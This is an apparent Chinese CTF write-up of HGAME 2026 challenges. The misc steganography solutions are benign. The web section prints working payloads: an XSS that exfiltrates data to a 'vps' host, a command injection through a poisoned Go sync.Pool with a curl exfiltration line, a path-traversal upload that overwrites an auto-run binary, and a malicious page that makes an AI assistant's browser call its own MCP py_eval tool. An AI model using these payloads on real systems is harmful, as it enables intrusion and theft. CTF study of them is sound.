0%

Hgame2026(部分)

前言

寒假在家参加的hgame2026,对我来说题难度还是很大的,赛后跟着各路大神的wp尽量复现

misc

打好基础

给的附件是emoji,就是base100解码

image-20260301125656173

第一次看这个解码结果以为是乱码,每次想到还要再解码一次

image-20260301125840489

shiori不想找女友

看附件给的一张图片,仔细看图片内容在图片表面是有噪点的,然后就上工具分析,使用exiftool可以看到

image-20260301130941570

{“block”: 1, “start_x”: 10, “start_y”: 10, “step_x”: 7, “step_y”: 7, “column_num”: 450}

(10, 10) 坐标开始,以 x 方向步长 7、y 方向步长 7 的间隔拾取像素,共 450 列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
from PIL import Image
import numpy as np

# ===================== 配置参数 =====================
SOURCE_IMAGE = 'shiori.png' # 源图片路径
OUTPUT_IMAGE = 'flag.png' # 输出密钥图片路径
# 采样起始坐标
START_X = 10
START_Y = 10
# 采样步长(每隔多少像素取一个点)
SAMPLING_STEP = 7
# 输出二值图的列数
MATRIX_COLS = 450
# 放大倍数(用于生成大图)
SCALE_FACTOR_X = 4
SCALE_FACTOR_Y = 4 * 3

# ===================== 采样与处理 =====================
def load_and_prepare_image(path):
"""加载图片并转为RGB模式"""
img = Image.open(path).convert('RGB')
return img, img.size

def generate_sampling_points(start_x, start_y, width, height, step):
"""生成所有采样点的坐标列表"""
points = []
# 按行遍历
for y in range(start_y, height, step):
# 按列遍历
for x in range(start_x, width, step):
points.append((x, y))
return points

def sample_pixels(img, points):
"""从图片中采样所有点的RGB值"""
return np.array([img.getpixel(p) for p in points], dtype=np.uint8)

def rgb_to_binary(rgb_pixels, threshold=128):
"""将RGB像素转为二值位(0/1)"""
# 灰度化:取RGB三通道均值
gray = rgb_pixels.mean(axis=1).astype(np.uint8)
# 二值化:大于阈值为1,否则为0
return (gray > threshold).astype(np.uint8)

def reshape_bits_to_matrix(bits, cols):
"""将一维bit流重塑为二维矩阵"""
# 截断到完整的列数
total_bits = (len(bits) // cols) * cols
bits_truncated = bits[:total_bits]
rows = total_bits // cols
return bits_truncated.reshape(rows, cols)

def matrix_to_image(bit_matrix):
"""将0/1矩阵转为单通道灰度图"""
# 0→0(黑色),1→255(白色)
img_data = (bit_matrix * 255).astype(np.uint8)
return Image.fromarray(img_data, mode='L')

def scale_and_save_image(img, cols, rows, scale_x, scale_y, save_path):
"""放大图像并保存"""
# 按指定倍数放大(NEAREST:最近邻插值,保持像素块清晰)
large_img = img.resize((cols * scale_x, rows * scale_y), Image.NEAREST)
large_img.save(save_path)

# ===================== 主流程 =====================
def main():
# 1. 加载图片
img, (w, h) = load_and_prepare_image(SOURCE_IMAGE)
print(f"[+] 图片尺寸: {w}x{h}")

# 2. 生成采样点
points = generate_sampling_points(START_X, START_Y, w, h, SAMPLING_STEP)
print(f"[+] 采样点总数: {len(points)}")

# 3. 采样并转为二值
pixels = sample_pixels(img, points)
bits = rgb_to_binary(pixels, threshold=128)
print(f"[+] 生成bit流长度: {len(bits)}")

# 4. 重塑为矩阵
bit_matrix = reshape_bits_to_matrix(bits, MATRIX_COLS)
rows, cols = bit_matrix.shape
print(f"[+] 二值矩阵尺寸: {rows}x{cols}")

# 5. 生成图像并保存
key_img = matrix_to_image(bit_matrix)
scale_and_save_image(key_img, cols, rows, SCALE_FACTOR_X, SCALE_FACTOR_Y, OUTPUT_IMAGE)
print(f"[+] 结果已保存到: {OUTPUT_IMAGE}")

if __name__ == "__main__":
main()

得到一个新的图片

key

这个也就是压缩包密码,解压后得到文件,随波逐流分析

image-20260301133302147

[REDACTED]

根据题目要求要找4个敏感字符串,先大体浏览一下

image-20260301133731889

这3个黑框因该就是3个敏感字符串,先逐个分析

image-20260301133829128

1:PAR4D0X

image-20260301134029069

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21t
YW5kIjoiMjpBbGxDbDNhclRvUHIwY2VlZCJ9.q
ZPdEpOicqFGvSP4Oi4dLUxiBK9yu8sRcmikNxXxnsY

image-20260301140524607

2:AllCl3arToPr0ceed

第三个是那一张图片,把图片用随波逐流分析

image-20260301141648625

3:Sh4m1R

最后一个考察的知识点没见过,考察的是pdf的增量更新,使用官方给的工具,查看到pdf有两个版本

image-20260301153116449

image-20260301153306033

再提取每个版本的pdf,得到最后一个

hgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}

Invest on Matrix

经典题目了,依旧是把题目信息放到提示中,需要用分数解锁信息然后解题,利用给的数据生成一个二维码

image-20260301161950489

hgame{W0RTH_1T?}

web

魔理沙的魔法目录

抓包看有记录时间,根据题目提示修改一下时间,合理即可

image-20260301163228383

image-20260301163256386

Vidarshop

这里首先是注册,注册后会有uid,这个并不是随机的,而是根据用户名生成uid,也就是题目描述说的那样,可惜当时没有理解题目谁的啥意思,

image-20260301164216020

image-20260301164232007

image-20260301164245749

由这3个例子可以知道用户名还有uid之间的关系,数字就是数字,字母就对照字母表的顺序,那注册一个admin1

image-20260301164445308

admin1对应得是14139141,则admin对应的是1413914,接下来就是买flag了,题目说admin可以管所有人的钱,提示

update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢

题目是python后端,可以使用原型链污染来修改balabce

image-20260301171517977

image-20260301171545234

博丽神社的绘马挂

这个直接账号和密码一样就可以直接登入进入,然后留言板就是xss。尝试一下过滤了script标签,但是img标签可以使用,可以让灵梦访问归档内容,然后外带数据,参考大佬payload

1
<img src="x" onerror="fetch('http://127.0.0.1/api/archives').then(r=>r.text()).then(t=>fetch('http:vps?data='+btoa(encodeURIComponent(t))))

image-20260302192323750

image-20260302192356654

MyMonitor

附件给了很多文件,关键代码在handler.go文件中,只要问题是使用内存池不严谨,分析核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main

import (
"fmt"
"os/exec"
"sync"

"github.com/gin-gonic/gin"
)

// 定义命令执行结构体
type MonitorStruct struct {
Cmd string `json:"cmd" binding:"required"` // 命令
Args string `json:"args"` // 参数
}

// 重置结构体字段
func (m *MonitorStruct) reset() {
m.Cmd = ""
m.Args = ""
fmt.Println("reset") // 冗余日志
}

// 定义全局内存池,复用MonitorStruct
var MonitorPool = &sync.Pool{
New: func() any {
return &MonitorStruct{} // 新建对象时返回空结构体
},
}

// 管理员命令执行接口(核心使用内存池的函数)
func AdminCmd(c *gin.Context) {
// 1. 从内存池获取对象,直接断言类型
monitor := MonitorPool.Get().(*MonitorStruct)
// 2. 延迟将对象放回池
defer MonitorPool.Put(monitor)

// 3. 绑定前端传入的JSON数据到monitor对象
if err := c.ShouldBindJSON(monitor); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return // 绑定失败直接返回
}

// 4. 延迟重置对象字段
defer monitor.reset()

// 5. 执行业务逻辑:拼接命令并执行
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput()
if err != nil {
c.JSON(500, gin.H{
"error": err.Error(),
"output": string(output),
})
return
}
c.JSON(200, gin.H{"output": string(output)})
}

关键漏洞在步骤3和步骤4,步骤3是绑定json数据到monitor对象,判断标准是cmd必须不为空,并且cmd,args必须为string类型,如果绑定成功,会拼接命令执行。函数结束时会执行defer语句,defer语句遵循先声明,后执行,代码中一共有两句

1
2
3
1.defer MonitorPool.Put(monitor) //将对象放回池中
2.defer monitor.reset() //重置字段

最终想执行2,再执行1,这是绑定成功的情况,但是如果我们传入的是恶意的数据,比如

1
{"cmd":"123","args":"-l"}

这是绑定就是失败,不满足json的值为string类型,此时就会直接return了,那么只会执行

1
1.defer MonitorPool.Put(monitor) //将对象放回池中

而不会执行

1
2.defer monitor.reset() //重置字段

这个就将恶意数据放进池中。结合题目分析

NaCl闲得发昏了写了个简易WebShell并隔一段时间输入“ls”命令,你能想办法偷到flag吗?

这个说明Admin会周期性执行ls命令,会调用AdminCmd函数,题目描述是只执行了ls命令,猜测json为{“cmd”:”ls”},这里args是可以为空的。

如果我们提前污染了池子,当admin执行ls时,args会拼接到cmd后面,然后使用;拼接命令,从而实现任意命令执行。

这里构造payload有两种方法:

1.重定向,把flag写入到前端的模板文件

payload

1
{"cmd":123,"args":";cat /flag > templates/user.html"}

image-20260302212827826

稍等一会就得到flag

image-20260302212946523

2.外带

经过测试这个不能反弹shell,但是可以外带数据,paylaod

1
{"cmd":123,"args":";curl http://vps?f=$(cat /flag)"}

image-20260302215630372

这里注意加上{}就行。

参考文章

HGAME-2026 | tiran’s blog

HGAME 2026 WP | 二十一画生

My Little Assistant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
import json

app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_methods=["*"],
allow_headers=["*"],
)

async def py_eval(code: str):
try:
local_vars = {}
exec(code, {}, local_vars)
return {"result": str(local_vars), "status": "success"}
except Exception as e:
return {"error": str(e), "status": "failed"}

def check_url(url: str) -> bool:
if (url.startswith("http") == False): return True
return False

async def py_request(url: str):
if (check_url(url)):
return {"error": "Unsafe URL"}
from playwright.async_api import async_playwright
try:
async with async_playwright() as p:
browser = await p.chromium.launch(
headless=True,
args=["--no-sandbox",
"--disable-dev-shm-usage",
"--disable-web-security"]
)

context = await browser.new_context()
page = await context.new_page()

response = await page.goto(url, timeout = 10000, wait_until = "networkidle")
content = await page.content()

result = {
"status_code": response.status if response else None,
"content": content[:300]
}

await browser.close()

return result

except Exception as e:
return {"error": str(e)}

TOOLS = {"py_eval": py_eval, "py_request": py_request}

@app.post("/mcp")
async def mcp_handler(request: Request):
data = await request.json()
params = data.get("params", {})
name = params.get("name")
args = params.get("arguments", {})

if name in TOOLS:
result = await TOOLS[name](**args)
return {
"jsonrpc": "2.0",
"id": data.get("id"),
"result": {"content": [{"type": "text", "text": json.dumps(result)}]}
}
return {"error": "Tool not found"}

if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001)

这里提供了两个工具接口,一个是py_eval执行python代码,一个时py_request发起网页请求获取内容,经过测试,py_eval被管理员仅用了,但是py_request可以使用

image-20260303154502941

image-20260303154510243

在py_request中配置

1
2
3
args=["--no-sandbox",
"--disable-dev-shm-usage",
"--disable-web-security"]

关闭了web安全策略,导致同源策略失效,同源策略就是防止 A 网站的 JS 代码随意访问 B 网站的资源,在本题中是允许的题目中的服务监听在 0.0.0.0:8001。在 AI 运行的容器内部,它可以通过 http://127.0.0.1:8001/mcp 访问自己。在自己的服务器上放一个包含恶意js的html,然后让这个ai访问这个html执行恶意js,js实现的功能就是向 http://127.0.0.1:8001/mcp 发送一个 POST 请求使用py_eval执行代码获得flag。参考大佬payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// 定义要执行的 Python 代码,把 flag 读入变量 f
// 这样 exec 执行后,local_vars 字典里就会有 f='flag{...}'
const pyCode = "import os; f = os.popen('cat /flag').read()";

// 构造 MCP 请求包
const payload = {
"params": {
"name": "py_eval",
"arguments": {
"code": pyCode
}
}
};

// 向本地接口发送 CSRF 请求
fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
})
.then(response => response.json())
.then(data => {
// 解析返回结果。
// data.result.content[0].text 是一个 JSON 字符串,类似 "{'result': \"{'f': 'flag{...}'}\", ...}"
// 我们直接把它全部显示在页面上
document.body.innerText = "FLAG_RESULT: " + JSON.stringify(data);
})
.catch(error => {
document.body.innerText = "Error: " + error;
});
</script>
</body>
</html>

image-20260303160655703

easyuu

进入尝试后发现有两个功能,一个文件上传,一个文件下载,但是抓包时发现,在上传文件后还有一个包

image-20260303161929233

查看文件目录

image-20260303162434551

发现有一个easyuu.zip,下载一下。注意路径

image-20260303163035652

关键代码在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async fn update_watcher() {
// 每5秒检测新版本,若版本更高则替换二进制并重启
}

async fn get_new_version() -> Option<Version> {
// 执行./update/easyuu --version获取新版本号
}

async fn update() -> Result<(), Box<dyn std::error::Error>> {
// 用self_replace替换当前二进制文件
}

fn restart_myself(path: std::path::PathBuf) {
// Unix系统下通过exec重启自身
}

这里是可以忽略版本号问题的,因为不管版本号高低,代码都会每5秒执行一次./update/esayuu,代码的上传逻辑是

1
2
3
4
5
6
7
8
9
// 关键代码片段(upload_file接口)
let mut file = tokio::fs::OpenOptions::new()
.create(true) // 文件不存在则创建
.truncate(true) // 文件存在则清空(强制覆盖)
.write(true)
.open(save_path) // 你指定的路径:../update/easyuu
.await?;

file.write_all(&file_data).await?;

这里文件存在时直接覆盖的,所以我们只要上传恶意二进制文件覆盖/update/esayuu然后等代码执行就行,参考大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import os
import sys
import time
import tempfile
import requests

def upload_payload(session, base_url, timeout):
# 恶意payload:读取容器PID=1的环境变量(更精准,包含容器所有环境变量),写入flag文件
payload = "#!/bin/sh\ncat /proc/1/environ > /app/uploads/flag 2>/dev/null\n"
tmp_path = None
try:
# 创建临时文件保存payload(避免本地残留)
with tempfile.NamedTemporaryFile("w", delete=False, newline="\n", encoding="utf-8") as f:
f.write(payload)
tmp_path = f.name

# 构造上传请求:路径穿越覆盖./update/easyuu
with open(tmp_path, "rb") as f:
files = {
"file": ("../update/easyuu", f, "application/octet-stream")
}
resp = session.post(f"{base_url}/api/upload_file", files=files, timeout=timeout)
resp.raise_for_status() # 触发HTTP错误(如404/500)
print("✅ 恶意脚本上传成功")
finally:
# 清理临时文件
if tmp_path and os.path.exists(tmp_path):
os.remove(tmp_path)

def get_file_content(session, url, timeout):
"""下载文件并处理内容(替换\x00为换行,适配environ格式)"""
try:
resp = session.get(url, timeout=timeout)
if resp.status_code != 200:
return ""
# /proc/1/environ的环境变量以\x00分隔,替换为换行更易读
text = resp.content.decode("utf-8", errors="ignore").replace("\x00", "\n")
return text
except Exception:
return ""

def find_content(base_url, timeout, max_wait):
"""主逻辑:上传payload → 循环等待下载flag"""
session = requests.Session()
session.trust_env = False # 禁用代理,避免干扰

# 第一步:上传恶意脚本
upload_payload(session, base_url, timeout)

# 第二步:循环等待服务器执行脚本(最多等max_wait秒)
deadline = time.time() + max_wait
print(f"⏳ 等待{max_wait}秒,服务器每5秒执行一次脚本...")
while time.time() < deadline:
env_content = get_file_content(session, f"{base_url}/api/download_file/flag", timeout)
if env_content:
return env_content
time.sleep(2) # 每2秒检查一次,避免高频请求

return ""

def main():
# 配置项(根据目标修改)
base_url = "http://forward.vidar.club:32470/"
timeout = 10 # 请求超时时间
max_wait = 40 # 最大等待时间(服务器每5秒执行一次,40秒足够)

try:
result = find_content(base_url, timeout, max_wait)
except requests.RequestException as e:
print(f"❌ 网络错误 : {e}", file=sys.stderr)
return 1
except Exception as e:
print(f"❌ 未知错误 : {e}", file=sys.stderr)
return 1

if not result:
print("❌ 未找到内容(可能路径错误/权限不足)", file=sys.stderr)
return 1

# 输出结果并保存到本地
print("\n🎉 获取到环境变量内容:")
print("-" * 50)
print(result)
print("-" * 50)
with open("server_env_flag.txt", "w", encoding="utf-8") as f:
f.write(result)
print(f"💾 内容已保存到本地 server_env_flag.txt")
return 0

if __name__ == "__main__":
raise SystemExit(main())

image-20260303173942954